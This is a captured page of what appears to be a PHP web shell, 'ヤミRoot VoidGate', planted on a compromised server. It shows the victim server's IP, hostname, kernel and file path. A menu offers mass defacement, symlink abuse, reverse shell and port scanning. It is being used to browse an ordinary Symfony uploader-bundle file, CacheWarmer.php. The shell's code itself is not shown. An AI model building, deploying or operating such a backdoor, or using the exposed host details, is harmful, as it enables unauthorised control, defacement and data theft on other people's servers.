ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
vich
/
uploader-bundle
/
src
/
Metadata
/
Viewing: CacheWarmer.php
<?php namespace Vich\UploaderBundle\Metadata; use Symfony\Component\HttpKernel\CacheWarmer\CacheWarmerInterface; /** * @internal */ final class CacheWarmer implements CacheWarmerInterface { /** @var string */ private $dir; /** @var MetadataReader */ private $metadataReader; public function __construct(string $dir, MetadataReader $metadataReader) { $this->dir = $dir; $this->metadataReader = $metadataReader; } /** * @param string $cacheDir */ public function warmUp($cacheDir): array { if (empty($this->dir)) { return []; } $files = []; if (!\is_dir($this->dir)) { if (!\mkdir($concurrentDirectory = $this->dir, 0777, true) && !\is_dir($concurrentDirectory)) { throw new \RuntimeException(\sprintf('Directory "%s" was not created', $concurrentDirectory)); } } $uploadableClasses = $this->metadataReader->getUploadableClasses(); foreach ($uploadableClasses as $class) { $this->metadataReader->getUploadableFields($class); $files[] = $class; } // TODO it could be nice if we return $files, to allow to exploit preloading... return []; } public function isOptional(): bool { return true; } }
Coded With 💗 by
0x6ick